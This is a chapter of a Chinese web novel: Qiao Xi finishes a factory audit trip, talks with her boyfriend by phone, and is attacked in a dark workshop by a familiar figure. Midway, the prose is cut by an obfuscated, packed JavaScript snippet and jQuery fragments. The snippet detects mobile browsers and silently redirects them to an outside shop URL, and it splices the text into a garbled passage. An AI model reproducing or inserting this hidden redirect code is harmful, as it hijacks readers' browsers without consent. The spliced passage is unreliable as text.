翌日上午，在正式工作前，他们内部先开了个临时会议，商定了一下这两天的工作计划。


    根据计划，他们只要今明两天做完最后的统计，审核完全部的数据链条就可以结束出差。


    剩下的，可以回公司再补充。


    尽早结束，尽早回家，没有人愿意多耽搁一天，所以包括乔希在内的所有人，都在卯着劲儿抓紧时间工作。因为有了明确的既定目标，几个人又归心似箭，身上都安足了心气儿，今天的工作格外顺利且高效。


    到今天下午下班的时候，他们已经在不知不觉中完成了过半的数据整合。


    今天大部分的时间，乔希都在工厂车间里面待着，身处喧嚣，即便做了防护，待的时间久了，听力还是会受到影响。


    车间里，庞大机器工作运转时发出的巨大的机械轰隆声就像一只滑溜的蚯蚓，直往耳蜗里钻，震得她心脏狂跳。等身边乍一冷清下来，乔希顿时觉得整个世界被消了音。


    缓了好一会儿，强烈的不适感稍消退了一些。


    下班后，乔希没跟着同事去吃饭。


    出于对产品质量的保证，车间温度有一定的要求，而且这一天跑上跑下，一会外面一会里面，乔希吃进去一肚子凉风。她没有胃口，直接回了住所，打算躺在床上缓缓。


    从兜里拿出手机时才发现，陈知昱给她打过两个电话，看时间点，她都在车间里，想来是没有听到。


    刚到家，乔希抓紧回拨了过去。


    “你还不接电话，我都打算直接联系你们公司了，下班了？”几乎是在响铃后的第一秒，陈知昱秒接了电话。


    “这一天都在车间里待着，声音太大，我没听着。”一天没回来，屋子里冷气森森的，乔希甫一进门，狠狠打了个冷颤。她第一时间打开了救命的空调，才敢脱掉了厚重的羽绒服外套。


    “吃了吗？”陈知昱放轻了声音，关心问道。


    “没，打算歇一会儿再吃。”乔希向他抱怨，“天太冷了，感觉把胃凉着了。”


    陈知昱听到后下意识皱眉，“严不严重，吃药了吗。”话说着，他打开了外卖软件，“我这就给你下单胃药，估计得等一阵才能到，能坚持吗？”


    “诶诶，”乔希及时叫停对方，“我没事，我不用吃药，一会喝点热水暖暖就好。”


    “真的？”


    乔希保证，“真没事，我自己身体还是了解的。”


    陈知昱那边顿了几秒，才说，“行吧，那我给你点份热汤什么的，你就别出去挨冻了。”


    乔希舒服地窝在沙发里，想了想同意了，“也行。”


    陈知昱点餐的功夫，忽然问起，“你们是不是明天就能结束工作了？”


    “对，预计明天下班点前后，差不多吧。”


    前前后后忙碌了好几个月，现下终于要结束出差的工作，乔希有种被困在校园里的高三生终于高考完的解脱。


    “我已经请好了假，差不多下班点就能到你那。”


    “好，那咱们明天晚饭就去吃火锅吧，我那天去吃了，味道还可以。”想到这儿，乔希的语气里带着隐隐的激动。


    “行，都听你的。”陈知昱笑着附和，过后，开始提及重要的事，“对了，我今天去找张警官了。”


    乔希收了笑：“他怎么说？”


    “张警官的同事说他出外勤去了，今天回不来，不过他同事会帮忙转达。”陈知昱皱着眉头，乔希一刻不离开那个地方，他一直松懈不下来。


    乔希让他放宽心，等明天结束工作，她就能回家了。


    陈知昱今天下午也离开了横城，跟着刘伟峰来到外地，“外面的人都虎视眈眈的，我得盯着签完合同，等这边一结束，我就能直接飞过去接你。”


    乔希听完还没开口回答，听筒里面就先传出刘伟峰的咆哮声，“陈知昱，你掉厕所里了？！”她笑了笑，赶紧催促陈知昱，“你先忙吧。”


    陈知昱不忘叮嘱，“那行，等饭到了你记得趁热吃。”


    挂掉了电话，乔希翻了个身，继续在沙发上躺着。空调发挥了作用，屋子里渐渐回温，暖和起来。


    陈知昱买的鲜花最久的也维持了十几天，当时屋子里被花香味填满。


    乔希还特意挑了几支半开的，倒吊在屋子里晾晒，做成了干花放在了花瓶里，摆到了床头柜上。


    到现在，还能隐约闻到淡淡的香味。


    嗅着轻微的芬芳，她躺在沙发上，拿起手机搜起了这附近的休闲娱乐场所。


    上一次陈知昱来，两个人在屋子里腻歪了一天。这一次怎么着也得找个地出去逛一逛，哪怕看个电影吃顿饭什么的。


    只可惜这附近太偏僻了，没什么太好玩的地方。


    她还在思考着要不要请一天假，两个人去市中心玩一天，晚一天再返程。


    *


    最后一天了，因为任务的最后要拍现场机器的整体照片和视频，所以到下午的时候，周厂长给厂里员工放了半天假，清空了车间的工作人员。


    周厂长的工厂有三个大车间，为了不耽误时间，工作同步进行，所以照常分组展开工作，等到最后再进行汇总。


    每一组的工作都在井然有序地进行着。


    这次工作照例，冯昭和乔希一个组。


    车间与车间之间相距不近，做完这些，两个人就没往远处去，直接待在了现在车间里的办公室，继续统计数据。


    工作进展比较顺利很快就到了尾声。只是越到最后，越不能放松警惕。


    在他们核对最后几组数据的时候，冯昭的手机突然响了，充满躁动的手机铃声在只有两个人的寂静办公室里回响。


    冯昭快速接起了电话。


    乔希起初没在意，但冯昭那边一直没有动静，这才把视线从电脑屏幕前移开，目光转向了他，关切地问道，“怎么了吗？”


    冯昭的脸色不太好，说话声音有点沉，“小夏他们那边有点问题。”


    乔希拧眉，“这个时候？”


    “对，这群不让人省心的。”


    此时过了下班点，再说今天下午员工都没在，“那怎么？你去看看怎么回事？”


    原本是部长跟着他们一起过来出差的，不过在最后一组数据得出结果后，他先行回去准备后续的工作了。


    小夏那边的组员有几个资质还轻，出了问题，现在群龙无首，只能求助有经验的。


    如果那边不解决清楚，就会耽误整组的进程。估计这会他们已经急昏了头，是得需要一个人过去稳定军心。


    冯昭为难地看了看散落在桌面上的数据。


    乔希倒不在意，主动揽下剩下的活：“你先去那边看看吧，兴许是出了什么岔子。”


    “反正这也快结尾了，交给我做你还不放心吗？”


    想想也对，冯昭又给那边打去了电话，让他们先别急，自己这就过去，交代完匆忙开始收拾自己的东西。


    “那我先去了啊，你有事给我打电话。”冯昭急匆匆背上自己的工作包，嘴里不停嘟囔，“这帮不省心的，都最后一天了，怎么毛毛躁躁的。”


    乔希低头看着眼前的数据资料，又抬眸看向忙碌收拾的冯昭，渐渐敛了神色，陷入了深思。


    外面是黑漆漆的车间，办公室门打开的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957757|193205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时候，一股冬日里特有的凉风吹了进来，“冯昭。”乔希突然叫住迈步要离开的冯昭。


    听到自己的名字，冯昭猛地回头，脸上挂着迷茫的惊恐，看到乔希眼神中的肃然，他的心跟着沉了下来。


    *


    五分钟后。


    冯昭背着自己的公文包从办公室走了出来。


    迈步沉稳，步履匆匆。


    看到冯昭快步离开的背影消失在深处尽头，乔希埋头继续完成未完成的工作。等到脚步声彻底消散，她已经结束了又一组数据的整合比对。


    原本两个人的工作现在交给一个人来完成，是会花费稍多的时间。


    乔希敲下最后一组数据发到了群里，而后深深吐了口气，为期几个月的工作终于在这一刻画上了句号。


    乔希看了下时间，其实距离冯昭离开也没过去多久，她先起身活动了活动，一整天都坐在这里，感觉身体都快不是自己的了。


    腰酸背痛，四肢又僵又麻。


    过了几分钟，群里还没人给她回复，乔希估摸着其他同事都还在忙着，就紧赶慢赶收拾着自己的东西，打算也去其他车间帮衬帮衬。


    归纳好器材，整理完纸质资料，乔希关掉了供暖的小太阳，准备离开。


    冬天的夜晚来得要早，天色已经彻底暗下来，今天工作又晚了些，这间工厂里只有她一个人，冷冷清清的。


    周厂长这里共有三个车间，大小不一样，冯昭和乔希负责的这个是最大的。


    这个车间大概有四五千平方米，从角落的办公区域到车间大门口，得走个十分钟左右，中间还要经过漫长的工作区域。


    车间里没开灯，黑乎乎一片。


    中间的那条路不窄，两边都是庞大的冷金属机器，散发着冰冷的气息。


    四下很安静。


    乔希打开手机的手电筒功能，向上滑动手机屏幕，把亮度调到最大，一束明亮的光线瞬间照亮这条路。


    乔希沿着光亮往前走。


    就在这时，寂静空荡的车间里忽然响起了摩擦声，空荡荡的回音，就像是动物的爪子直接抓挠厚重的金属板。


    乔希的脚步警惕地缓了下来。


    奇怪的回音渐小，最后消失，仿佛是她的错觉。


    这个点外面起了风，呼啸的风声令乔希寒毛倒立。


    乔希的后背紧绷，额角渗出了豆大的汗珠，她快步往出口方向走，在冰冷的环境里，那个的声音越来越近了。


    也越清晰了。


    在身后方的转角处，她听到了金属拖地的声响。


    离她很近。


    察觉到的乔希机警地回过头，可还没等她避开，一个黑影自她身后猛地砸过来。


    金属的棒状硬物袭击了乔希的后背，猝不及防，接着她的眼前骤然一黑。


    突如其来的剧痛令乔希失去平衡，向前踉跄着栽倒在地。


    伴随着咣当一声脆响，从她手中脱落的手机也狠狠摔在了地上，电路短路一样，灯光闪了两下，彻底熄灭了。


    后背的疼痛感致使她留下生理性泪水，瞬间模糊了视线，乔希艰难地仰起头，一个熟悉的身影出现在她的眼前。


    紧接着，一张脸突然贴了上来，与之前见到的不同，不再是那张面无表情的，转变为更为冷酷的，狰狞的。


    一阵嘈杂过后，空寂的车间里又恢复了刚才的死寂。


    乔希双拳紧握，指甲深深嵌进掌心的肉里，急速调整着呼吸。


    她的面色阴沉似水，死死瞪着对面的黑影，“还真的是你...”颤抖的声音冰冷刺骨，每一个字都像是从牙缝里挤出来的。